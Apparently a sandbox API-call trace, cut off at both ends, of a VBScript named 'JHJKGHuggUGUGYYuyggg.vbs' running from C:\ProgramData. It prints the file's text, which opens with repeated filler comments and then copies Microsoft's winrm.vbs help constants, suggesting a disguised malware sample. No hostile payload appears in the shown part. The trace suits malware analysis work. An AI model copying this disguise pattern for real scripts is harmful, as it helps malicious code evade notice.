lpData=0xa3529dd660, lpcbData=0xa3529dd650*=0x4 | out: lpType=0xa3529dd658*=0x0, lpData=0xa3529dd660*=0x28, lpcbData=0xa3529dd650*=0x4) returned 0x2 [0145.868] GetUserDefaultLCID () returned 0x411 [0145.868] GetACP () returned 0x4e4 [0145.868] LoadLibraryExW (lpLibFileName="amsi.dll", hFile=0x0, dwFlags=0x800) returned 0x7ff9dc490000 [0146.028] GetProcAddress (hModule=0x7ff9dc490000, lpProcName="AmsiInitialize") returned 0x7ff9dc492030 [0146.028] GetProcAddress (hModule=0x7ff9dc490000, lpProcName="AmsiScanString") returned 0x7ff9dc492440 [0146.029] AmsiInitialize () returned 0x0 [0146.195] VBScriptEngine5:IUnknown:AddRef (This=0x249c8849810) returned 0x2 [0146.195] VBScriptEngine5:IUnknown:Release (This=0x249c8849810) returned 0x1 [0146.195] VBScriptEngine5:IUnknown:Release (This=0x249c88497b0) returned 0x0 [0146.195] free (_Block=0x249c88497b0) [0146.195] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x249c8849810, riid=0x7ff7a9f19518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xa3529ded38 | out: ppvObject=0xa3529ded38*=0x249c8849810) returned 0x0 [0146.195] VBScriptEngine5:IUnknown:Release (This=0x249c8849810) returned 0x1 [0146.196] GetCurrentThreadId () returned 0x1020 [0146.196] malloc (_Size=0xd0) returned 0x249c884a1b0 [0146.196] GetCurrentThreadId () returned 0x1020 [0146.196] malloc (_Size=0x28) returned 0x249c8841750 [0146.196] malloc (_Size=0x40) returned 0x249c88497b0 [0146.196] malloc (_Size=0xc8) returned 0x249c884a290 [0146.196] malloc (_Size=0x38) returned 0x249c8849f10 [0146.196] GetCurrentThreadId () returned 0x1020 [0146.196] malloc (_Size=0x80) returned 0x249c884a360 [0146.196] GetUserDefaultLCID () returned 0x411 [0146.196] IsValidLocale (Locale=0x411, dwFlags=0x1) returned 1 [0146.196] GetLocaleInfoA (in: Locale=0x411, LCType=0x1004, lpLCData=0xa3529decf0, cchData=6 | out: lpLCData="932") returned 4 [0146.197] IsValidCodePage (CodePage=0x3a4) returned 1 [0146.197] LdrResolveDelayLoadedAPI () returned 0x7ff9e7cd5110 [0146.198] CoCreateInstance (in: rclsid=0x7ff9dba9f9c0*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff9dba9f9a0*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x249c8849b70 | out: ppv=0x249c8849b70*=0x249c86bcb60) returned 0x0 [0146.198] IUnknown:AddRef (This=0x249c86bcb60) returned 0x2 [0146.198] GetCurrentProcessId () returned 0x13fc [0146.198] GetCurrentThreadId () returned 0x1020 [0146.198] GetTickCount () returned 0x1165a6c [0146.198] ISystemDebugEventFire:BeginSession (This=0x249c86bcb60, guidSourceID=0x7ff9dbaa08b8, strSessionName="VBScript:00005116:00004128:18242156") returned 0x0 [0146.198] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529ded80 | out: PolicyValue=0xa3529ded80) returned 0 [0146.198] GetCurrentThreadId () returned 0x1020 [0146.198] malloc (_Size=0x40) returned 0x249c884a3f0 [0146.198] malloc (_Size=0xf0) returned 0x249c884a440 [0146.198] malloc (_Size=0x80) returned 0x249c884a540 [0146.198] malloc (_Size=0x108) returned 0x249c884a5d0 [0146.199] GetCurrentThreadId () returned 0x1020 [0146.199] malloc (_Size=0x40) returned 0x249c884a6e0 [0146.199] CreateFileW (lpFileName="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs" (normalized: "c:\\programdata\\jhjkghuggugugyyuyggg.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x18c [0146.199] GetFileSize (in: hFile=0x18c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1119d [0146.199] CreateFileMappingA (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1119d, lpName=0x0) returned 0x190 [0146.199] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x249c8810000 [0146.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x249c8810000, cbMultiByte=70045, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70045 [0146.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x249c8810000, cbMultiByte=70045, lpWideCharStr=0x249c86c48e8, cchWideChar=70045 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. 'If you feel something is 'missing that should be here, contact us. '\r\n' Copyright (c) Microsoft Corporation. All rights reserved.\r\n'\r\n' VBScript Source File\r\n'\r\n' Script Name: winrm.vbs\r\n'\r\n\r\n\r\n\r\n'''''''''''''''''''''\r\n' Error codes\r\nprivate const ERR_OK = 0\r\nprivate const ERR_GENERAL_FAILURE = 1\r\n\r\n'''''''''''''''''''''\r\n' Messages\r\n\r\nprivate const L_INVOPT_ErrorMessage = \"Switch not allowed with the given operation: \"\r\nprivate const L_UNKOPT_ErrorMessage = \"Unknown switch: \"\r\nprivate const L_BLANKOPT_ErrorMessage = \"Missing switch name\"\r\nprivate const L_UNKOPT_GenMessage = \"Invalid use of command line. Type \"\"winrm -?\"\" for help.\"\r\nprivate const L_HELP_GenMessage = \"Type \"\"winrm -?\"\" for help.\"\r\nprivate const L_ScriptNameNotFound_ErrorMessage = \"Invalid usage of command line; winrm.vbs not found in command string.\"\r\nprivate const L_ImproperUseOfQuotes_ErrorMessage = \"A quoted parameter value must begin and end with quotes: \"\r\nprivate const L_BADMATCNT1_Message = \"Unexpected match count - one match is expected: \"\r\nprivate const L_OPTNOTUNQ_Message = \"Option is not unique: \"\r\nprivate const L_URIMISSING_Message = \"URI is missing\"\r\nprivate const L_ACTIONMISSING_Message = \"Action is missing\"\r\nprivate const L_URIZERO_Message = \"URI is 0 length\" \r\nprivate const L_URIZEROTOK_Message = \"Invalid URI, token is 0 length\" \r\nprivate const L_INVWMIURI1_Message = \"Invalid WMI resource URI - no '/' found (at least 2 expected)\"\r\nprivate const L_INVWMIURI2_Message = \"Invalid WMI resource URI - only one '/' found (at least 2 expected)\"\r\nprivate const L_NOLASTTOK_Message = \"Invalid URI - cannot locate last token for root node name\"\r\nprivate const L_HashSyntax_ErrorMessage = \"Syntax Error: input must be of the form {KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}\"\r\nprivate const L_ARGNOVAL_Message = \"Argument's value is not provided: \"\r\nprivate const L_XMLERROR_Message = \"Unable to parse XML: \"\r\nprivate const L_XSLERROR_Message = \"Unable to parse XSL file. Either it is inaccessible or invalid: \"\r\nprivate const L_MSXML6MISSING_Message = \"Unable to load MSXML6, required by -format option and for set using \"\"@{...}\"\"\"\r\nprivate const L_FORMATLERROR_Message = \"Invalid option for -format: \"\r\nprivate const L_FORMATFAILED_Message = \"Unable to reformat message. Raw, unformatted, message: \"\r\nprivate const L_PUT_PARAM_NOMATCH_Message = \"Parameter name does not match any properties on resource: \"\r\nprivate const L_PUT_PARAM_MULTIMATCH_Message = \"Parameter matches more than one property on resource: \"\r\nprivate const L_PUT_PARAM_NOARRAY_Message = \"Multiple matching parameter names not allowedin @{...}: \"\r\nprivate const L_PUT_PARAM_NOTATTR_Message = \"Parameter matches a non-text property on resource: \"\r\nprivate const L_PUT_PARAM_EMPTY_Message = \"Parameter set is empty.\"\r\nprivate const L_OPTIONS_PARAMETER_EMPTY_Message = \"Options parameter has no value or is malformed.\"\r\nprivate const L_RESOURCELOCATOR_Message = \"Unable to create ResourceLocator object.\"\r\nprivate const L_PUT_PARAM_NOINPUT_Message = \"No input provided through \"\"@{...}\"\" or \"\"-file:\"\" commandline parameters.\"\r\nprivate const L_ERR_Message = \"Error: \"\r\nprivate const L_ERRNO_Message = \"Error number: \"\r\nprivate const L_OpDoesntAcceptInput_ErrorMessage = \"Input was supplied to an operation that does not accept input.\"\r\nprivate const L_QuickConfigNoChangesNeeded_Message = \"WinRM is already set up for remote management on this computer.\"\r\nprivate const L_QuickConfig_MissingUpdateXml_0_ErrorMessage = \"Could not find update instructions in analysis result.\"\r\nprivate const L_QuickConfigUpdated_Message = \"WinRM has been updated for remote management.\"\r\nprivate const L_QuickConfigUpdateFailed_ErrorMessage = \"One or more update steps could not be completed.\"\r\nprivate const L_QuickConfig_InvalidBool_0_ErrorMessage = \"Could not determine if remoting is enabled.\"\r\nprivate const L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage = \"Cannot complete the request due to a conflicting Group Policy setting.\"\r\nprivate const L_QuickConfig_UpdatesNeeded_0_Message = \"WinRM is not set up to allow remote access to this machine for management.\"\r\nprivate const L_QuickConfig_UpdatesNeeded_1_Message = \"The following changes must be made:\"\r\nprivate const L_QuickConfig_Prompt_0_Message = \"Make these changes [y/n]? \"\r\nprivate const L_QuickConfigNoServiceChangesNeeded_Message = \"WinRM is already set up to receive requests on this computer.\"\r\nprivate const L_QuickConfigNoServiceChangesNeeded_Message2 = \"WinRM service is already running on this machine.\"\r\nprivate const L_QuickConfigUpdatedService_Message = \"WinRM has been updated to receive requests.\"\r\nprivate const L_QuickConfig_ServiceUpdatesNeeded_0_Message = \"WinRM is not set up to receive requests on this machine.\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - GENERAL\r\nprivate const L_Help_Title_0_Message = \"Windows Remote Management Command Line Tool\"\r\n\r\nprivate const L_Help_Blank_0_Message = \"\"\r\n\r\nprivate const L_Help_SeeAlso_Title_Message = \"See also:\"\r\nprivate const X_Help_SeeAlso_Aliases_Message = \" winrm help aliases\"\r\nprivate const X_Help_SeeAlso_Config_Message = \" winrm help config\"\r\nprivate const X_Help_SeeAlso_CertMapping_Message = \" winrm help certmapping\"\r\nprivate const X_Help_SeeAlso_CustomRemoteShell_Message = \" winrm help customremoteshell\"\r\nprivate const X_Help_SeeAlso_Input_Message = \" winrm help input\"\r\nprivate const X_Help_SeeAlso_Filters_Message = \" winrm help filters\"\r\nprivate const X_Help_SeeAlso_Switches_Message = \" winrm help switches\"\r\nprivate const X_Help_SeeAlso_Uris_Message = \" winrm help uris\"\r\nprivate const X_Help_SeeAlso_Auth_Message = \" winrm help auth\"\r\nprivate const X_Help_SeeAlso_Set_Message = \" winrm set -?\"\r\nprivate const X_Help_SeeAlso_Create_Message = \" winrm create -?\"\r\nprivate const X_Help_SeeAlso_Enumerate_Message = \" winrm enumerate -?\"\r\nprivate const X_Help_SeeAlso_Invoke_Message = \" winrm invoke -?\"\r\nprivate const X_Help_SeeAlso_Remoting_Message = \" winrm help remoting\"\r\nprivate const X_Help_SeeAlso_configSDDL_Message = \" winrm configsddl -?\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - HELP\r\nprivate const L_HelpHelp_000_0_Message = \"Windows Remote Management (WinRM) is the Microsoft implementation of \"\r\nprivate const L_HelpHelp_001_0_Message = \"the WS-Management protocol which provides a secure way to communicate \"\r\nprivate const L_HelpHelp_001_1_Message = \"with local and remote computers using web services. \"\r\nprivate const L_HelpHelp_002_0_Message = \"\"\r\nprivate const L_HelpHelp_003_0_Message = \"Usage:\"\r\nprivate const L_HelpHelp_004_0_Message = \" winrm OPERATION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpHelp_005_0_Message = \" [@{KEY=VALUE[;KEY=VALUE]...}]\"\r\nprivate const L_HelpHelp_007_0_Message = \"\"\r\nprivate const L_HelpHelp_008_0_Message = \"For help on a specific operation:\"\r\nprivate const L_HelpHelp_009_0_Message = \" winrm g[et] -? Retrieving management information.\"\r\nprivate const L_HelpHelp_010_0_Message = \" winrm s[et] -? Modifying management information.\"\r\nprivate const L_HelpHelp_011_0_Message = \" winrm c[reate] -? Creating new instances of management resources.\"\r\nprivate const L_HelpHelp_012_0_Message = \" winrm d[elete] -? Remove an instance of a management resource.\"\r\nprivate const L_HelpHelp_013_0_Message = \" winrm e[numerate] -? List all instances of a management resource.\"\r\nprivate const L_HelpHelp_014_0_Message = \" winrm i[nvoke] -? Executes a method on a management resource.\"\r\nprivate const L_HelpHelp_015_0_Message = \" winrm id[entify] -? Determines if a WS-Management implementation is\"\r\nprivate const L_HelpHelp_015_1_Message = \" running on the remote machine.\"\r\nprivate const L_HelpHelp_016_0_Message = \" winrm quickconfig -? Configures this machine to accept WS-Management\"\r\nprivate const L_HelpHelp_016_1_Message = \" requests from other machines.\"\r\nprivate const L_HelpHelp_016_3_Message = \" winrm configSDDL -? Modify an existing security descriptor for a URI.\"\r\nprivate const L_HelpHelp_016_4_Message = \" winrm helpmsg -? Displays error message for the error code.\"\r\nprivate const L_HelpHelp_017_0_Message = \"\"\r\nprivate const L_HelpHelp_018_0_Message = \"For help on related topics:\"\r\nprivate const L_HelpHelp_019_0_Message = \" winrm help uris How to construct resource URIs.\"\r\nprivate const L_HelpHelp_020_0_Message = \" winrm help aliases Abbreviations for URIs.\"\r\nprivate const L_HelpHelp_021_0_Message = \" winrm help config Configuring WinRM client and service settings.\"\r\nprivate const L_HelpHelp_021_2_Message = \" winrm help certmapping Configuring client certificate access.\"\r\nprivate const L_HelpHelp_022_0_Message = \" winrm help remoting How to access remote machines.\"\r\nprivate const L_HelpHelp_023_0_Message = \" winrm help auth Providing credentials for remote access.\"\r\nprivate const L_HelpHelp_024_0_Message = \" winrm help input Providing input to create, set, and invoke.\"\r\nprivate const L_HelpHelp_025_0_Message = \" winrm help switches Other switches such as formatting, options, etc.\"\r\nprivate const L_HelpHelp_026_0_Message = \" winrm help proxy Providing proxy information.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - GET\r\nprivate const L_HelpGet_000_0_Message = \"winrm get RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpGet_001_0_Message = \"\"\r\nprivate const L_HelpGet_002_0_Message = \"Retrieves instances of RESOURCE_URI using specified \"\r\nprivate const L_HelpGet_003_0_Message = \"options and key-value pairs.\"\r\nprivate const L_HelpGet_004_0_Message = \"\"\r\nprivate const L_HelpGet_005_0_Message = \"Example: Retrieve current configuration in XML format:\"\r\nprivate const X_HelpGet_006_0_Message = \" winrm get winrm/config -format:pretty\"\r\nprivate const L_HelpGet_007_0_Message = \"\"\r\nprivate const L_HelpGet_008_0_Message = \"Example: Retrieve spooler instance of Win32_Service class:\"\r\nprivate const X_HelpGet_009_0_Message = \" winrm get wmicimv2/Win32_Service?Name=spooler\"\r\nprivate const L_HelpGet_010_0_Message = \"\"\r\nprivate const L_HelpGet_014_0_Message = \"Example: Retrieve a certmapping entry on this machine:\"\r\nprivate const X_HelpGet_015_0_Message = \" winrm get winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*\"\r\nprivate const L_HelpGet_016_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - SET\r\nprivate const L_HelpSet_001_0_Message = \"winrm set RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpSet_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpSet_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpSet_004_0_Message = \"\"\r\nprivate const L_HelpSet_005_0_Message = \"Modifies settings in RESOURCE_URI using specified switches\"\r\nprivate const L_HelpSet_006_0_Message = \"and input of changed values via key-value pairs or updated \"\r\nprivate const L_HelpSet_007_0_Message = \"object via an input file.\"\r\nprivate const L_HelpSet_008_0_Message = \"\"\r\nprivate const L_HelpSet_009_0_Message = \"Example: Modify a configuration property of WinRM:\"\r\nprivate const X_HelpSet_010_0_Message = \" winrm set winrm/config @{MaxEnvelopeSizekb=\"\"100\"\"}\"\r\nprivate const L_HelpSet_011_0_Message = \"\"\r\nprivate const L_HelpSet_012_0_Message = \"Example: Disable a listener on this machine:\"\r\nprivate const X_HelpSet_013_0_Message = \" winrm set winrm/config/Listener?Address=*+Transport=HTTPS @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpSet_014_0_Message = \"\"\r\nprivate const L_HelpSet_018_0_Message = \"Example: Disable a certmapping entry on this machine:\"\r\nprivate const X_HelpSet_019_0_Message = \" Winrm set winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpSet_020_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CREATE\r\nprivate const L_HelpCreate_001_0_Message = \"winrm create RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpCreate_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpCreate_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpCreate_004_0_Message = \"\"\r\nprivate const L_HelpCreate_005_0_Message = \"Spawns an instance of RESOURCE_URI using specified \"\r\nprivate const L_HelpCreate_006_0_Message = \"key-value pairs or input file.\"\r\nprivate const L_HelpCreate_007_0_Message = \"\"\r\nprivate const L_HelpCreate_008_0_Message = \"Example: Create instance of HTTP Listener on IPv6 address:\"\r\nprivate const X_HelpCreate_009_0_Message = \" winrm create winrm/config/Listener?Address=IP:3ffe:8311:ffff:f2c1::5e61+Transport=HTTP\"\r\nprivate const L_HelpCreate_010_0_Message = \"\"\r\nprivate const L_HelpCreate_011_0_Message = \"Example: Create instance of HTTPS Listener on all IPs:\"\r\nprivate const X_HelpCreate_012_0_Message = \" winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname=\"\"HOST\"\";CertificateThumbprint=\"\"XXXXXXXXXX\"\"}\"\r\nprivate const L_HelpCreate_013_0_Message = \"Note: XXXXXXXXXX represents a 40-digit hex string; see help config.\"\r\nprivate const L_HelpCreate_014_0_Message = \"\"\r\nprivate const L_HelpCreate_015_0_Message = \"Example: Create a windows shell command instance from xml:\"\r\nprivate const X_HelpCreate_016_0_Message = \" winrm create shell/cmd -file:shell.xml -remote:srv.corp.com\"\r\nprivate const L_HelpCreate_017_0_Message = \"\"\r\nprivate const L_HelpCreate_022_0_Message = \"Example: Create a CertMapping entry:\"\r\nprivate const X_HelpCreate_023_0_Message = \" winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=\"\"USERNAME\"\";Password=\"\"PASSWORD\"\"} -remote:localhost\"\r\nprivate const L_HelpCreate_024_0_Message = \"\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - DELETE\r\nprivate const L_HelpDelete_001_0_Message = \"winrm delete RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpDelete_002_0_Message = \"\"\r\nprivate const L_HelpDelete_003_0_Message = \"Removes an instance of RESOURCE_URI.\"\r\nprivate const L_HelpDelete_004_0_Message = \"\"\r\nprivate const L_HelpDelete_005_0_Message = \"Example: delete the HTTP listener on this machine for given IP address:\"\r\nprivate const X_HelpDelete_006_0_Message = \" winrm delete winrm/config/Listener?Address=IP:192.168.2.1+Transport=HTTP\"\r\nprivate const L_HelpDelete_007_0_Message = \"\"\r\nprivate const L_HelpDelete_008_0_Message = \"Example: delete a certmapping entry:\"\r\nprivate const X_HelpDelete_009_0_Message = \" winrm delete winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*\"\r\nprivate const L_HelpDelete_010_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - ENUMERATE\r\nprivate const L_HelpEnum_001_0_Message = \"winrm enumerate RESOURCE_URI [-ReturnType:Value] [-Shallow]\" \r\nprivate const L_HelpEnum_001_1_Message = \" [-BasePropertiesOnly] [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpEnum_002_0_Message = \"\"\r\nprivate const L_HelpEnum_003_0_Message = \"Lists instances of RESOURCE_URI.\"\r\nprivate const L_HelpEnum_004_0_Message = \"Can limit the instances returned by using a filter and dialect if the \"\r\nprivate const L_HelpEnum_005_0_Message = \"resource supports these.\"\r\nprivate const L_HelpEnum_006_0_Message = \"\"\r\nprivate const L_HelpEnum_006_1_Message = \"ReturnType\"\r\nprivate const L_HelpEnum_006_2_Message = \"----------\"\r\nprivate const L_HelpEnum_006_3_Message = \"returnType is an optional switch that determines the type of data returned.\"\r\nprivate const L_HelpEnum_006_4_Message = \"Possible options are 'Object', 'EPR' and 'ObjectAndEPR'. Default is Object\"\r\nprivate const L_HelpEnum_006_5_Message = \"If Object is specified or if switch is omitted, then only the objects are\"\r\nprivate const L_HelpEnum_006_6_Message = \"returned.\"\r\nprivate const L_HelpEnum_006_7_Message = \"If EPR is specified, then only the EPRs (End point reference) of the\"\r\nprivate const L_HelpEnum_006_8_Message = \"objects are returned. EPRs contain information about the resource URI and\"\r\nprivate const L_HelpEnum_006_9_Message = \"selectors for the instance.\"\r\nprivate const L_HelpEnum_006_10_Message = \"If ObjectAndEPR is specified, then both the object and the associated EPRs\"\r\nprivate const L_HelpEnum_006_11_Message = \"are returned.\"\r\nprivate const L_HelpEnum_006_12_Message = \"\"\r\nprivate const L_HelpEnum_006_13_Message = \"Shallow\"\r\nprivate const L_HelpEnum_006_14_Message = \"-------\"\r\nprivate const L_HelpEnum_006_15_Message = \"Enumerate only instances of the base class specified in the resource URI.\"\r\nprivate const L_HelpEnum_006_16_Message = \"If this flag is not specified, instances of the base class specified in \"\r\nprivate const L_HelpEnum_006_17_Message = \"the resource URI and all its derived classes are returned.\"\r\nprivate const L_HelpEnum_006_18_Message = \"\"\r\nprivate const L_HelpEnum_006_19_Message = \"BasePropertiesOnly\"\r\nprivate const L_HelpEnum_006_20_Message = \"------------------\"\r\nprivate const L_HelpEnum_006_21_Message = \"Includes only those properties that are part of the base class specified\"\r\nprivate const L_HelpEnum_006_22_Message = \"in the resource URI. When -Shallow is specified, this flag has no effect. \"\r\nprivate const L_HelpEnum_006_23_Message = \"\"\r\nprivate const L_HelpEnum_007_0_Message = \"Example: List all WinRM listeners on this machine:\"\r\nprivate const X_HelpEnum_008_0_Message = \" winrm enumerate winrm/config/Listener\"\r\nprivate const L_HelpEnum_009_0_Message = \"\"\r\nprivate const L_HelpEnum_010_0_Message = \"Example: List all instances of Win32_Service class:\"\r\nprivate const X_HelpEnum_011_0_Message = \" winrm enumerate wmicimv2/Win32_Service\"\r\nprivate const L_HelpEnum_012_0_Message = \"\"\r\n'private const L_HelpEnum_013_0_Message = \"Example: List all auto start services that are stopped:\"\r\n'private const X_HelpEnum_014_0_Message = \" winrm enum wmicimv2/* -filter:\"\"select * from win32_service where StartMode=\\\"\"Auto\\\"\" and State = \\\"\"Stopped\\\"\" \"\"\"\r\n'private const L_HelpEnum_015_0_Message = \"\"\r\nprivate const L_HelpEnum_016_0_Message = \"Example: List all shell instances on a machine:\"\r\nprivate const X_HelpEnum_017_0_Message = \" winrm enum shell/cmd -remote:srv.corp.com\"\r\nprivate const L_HelpEnum_018_0_Message = \"\"\r\nprivate const L_HelpEnum_019_0_Message = \"Example: List resources accessible to the current user:\"\r\nprivate const X_HelpEnum_020_0_Message = \" winrm enum winrm/config/resource\"\r\nprivate const L_HelpEnum_021_0_Message = \"\"\r\nprivate const L_HelpEnum_022_0_Message = \"Example: List all certmapping settings:\"\r\nprivate const X_HelpEnum_023_0_Message = \" winrm enum winrm/config/service/certmapping\"\r\nprivate const L_HelpEnum_024_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - INVOKE\r\nprivate const L_HelpInvoke_001_0_Message = \"winrm invoke ACTION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpInvoke_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpInvoke_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpInvoke_004_0_Message = \"\"\r\nprivate const L_HelpInvoke_005_0_Message = \"Executes method specified by ACTION on target object specified by RESOURCE_URI\"\r\nprivate const L_HelpInvoke_006_0_Message = \"with parameters specified by key-value pairs.\"\r\nprivate const L_HelpInvoke_007_0_Message = \"\"\r\nprivate const L_HelpInvoke_008_0_Message = \"Example: Call StartService method on Spooler service:\"\r\nprivate const X_HelpInvoke_009_0_Message = \" winrm invoke StartService wmicimv2/Win32_Service?Name=spooler\"\r\nprivate const L_HelpInvoke_010_0_Message = \"\"\r\nprivate const L_HelpInvoke_011_0_Message = \"Example: Call StopService method on Spooler service using XML file:\"\r\nprivate const X_HelpInvoke_012_0_Message = \" winrm invoke StopService wmicimv2/Win32_Service?Name=spooler -file:input.xml\"\r\nprivate const L_HelpInvoke_013_0_Message = \"Where input.xml:\"\r\nprivate const X_HelpInvoke_014_0_Message = \"\"\r\nprivate const L_HelpInvoke_015_0_Message = \"\"\r\nprivate const L_HelpInvoke_016_0_Message = \"Example: Call Create method of Win32_Process class with specified parameters:\"\r\nprivate const X_HelpInvoke_017_0_Message = \" winrm invoke Create wmicimv2/Win32_Process @{CommandLine=\"\"notepad.exe\"\";CurrentDirectory=\"\"C:\\\"\"}\"\r\nprivate const L_HelpInvoke_018_0_Message = \"\"\r\nprivate const L_HelpInvoke_019_0_Message = \"Example: Restore the default winrm configuration:\"\r\nprivate const L_HelpInvoke_019_1_Message = \"Note that this will not restore the default winrm plugin configuration:\"\r\nprivate const X_HelpInvoke_020_0_Message = \" winrm invoke restore winrm/config @{}\"\r\nprivate const L_HelpInvoke_021_0_Message = \"\"\r\nprivate const L_HelpInvoke_022_0_Message = \"Example: Restore the default winrm plugin configuration:\"\r\nprivate const L_HelpInvoke_022_1_Message = \"Note that all external plugins will be unregistered during this operation:\"\r\nprivate const X_HelpInvoke_023_0_Message = \" winrm invoke restore winrm/config/plugin @{}\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - IDENTIFY\r\nprivate const X_HelpIdentify_001_0_Message = \"winrm identify [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpIdentify_003_0_Message = \"\"\r\nprivate const L_HelpIdentify_004_0_Message = \"Issues an operation against a remote machine to see if the WS-Management \"\r\nprivate const L_HelpIdentify_005_0_Message = \"service is running. This operation must be run with the '-remote' switch.\"\r\nprivate const L_HelpIdentify_006_0_Message = \"To run this operation unauthenticated against the remote machine use the\"\r\nprivate const L_HelpIdentify_007_0_Message = \"-auth:none\"\r\nprivate const L_HelpIdentify_008_0_Message = \"\"\r\nprivate const L_HelpIdentify_009_0_Message = \"Example: identify if WS-Management is running on www.example.com:\"\r\nprivate const X_HelpIdentify_010_0_Message = \" winrm identify -remote:www.example.com\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - HELPMSG\r\nprivate const X_HelpHelpMessaage_001_0_Message = \"winrm helpmsg errorcode\"\r\nprivate const X_HelpHelpMessaage_002_0_Message = \"\"\r\nprivate const X_HelpHelpMessaage_003_0_Message = \"Displays error message associate with the error code.\"\r\nprivate const X_HelpHelpMessaage_004_0_Message = \"Example:\"\r\nprivate const X_HelpHelpMessaage_006_0_Message = \" winrm helpmsg 0x5\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - ALIAS\r\nprivate const L_HelpAlias_001_0_Message = \"Aliasing allows shortcuts to be used in place of full Resource URIs.\"\r\nprivate const L_HelpAlias_002_0_Message = \"Available aliases and the Resource URIs they substitute for are:\"\r\nprivate const L_HelpAlias_003_0_Message = \"\"\r\nprivate const X_HelpAlias_004_0_Message = \"wmi = http://schemas.microsoft.com/wbem/wsman/1/wmi\"\r\nprivate const X_HelpAlias_005_0_Message = \"wmicimv2 = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2\"\r\nprivate const X_HelpAlias_006_0_Message = \"cimv2 = http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2\"\r\nprivate const X_HelpAlias_007_0_Message = \"winrm = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_008_0_Message = \"wsman = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_009_0_Message = \"shell = http://schemas.microsoft.com/wbem/wsman/1/windows/shell\"\r\nprivate const L_HelpAlias_010_0_Message = \"\"\r\nprivate const L_HelpAlias_011_0_Message = \"Example: using full Resource URI:\"\r\nprivate const x_HelpAlias_012_0_Message = \" winrm get 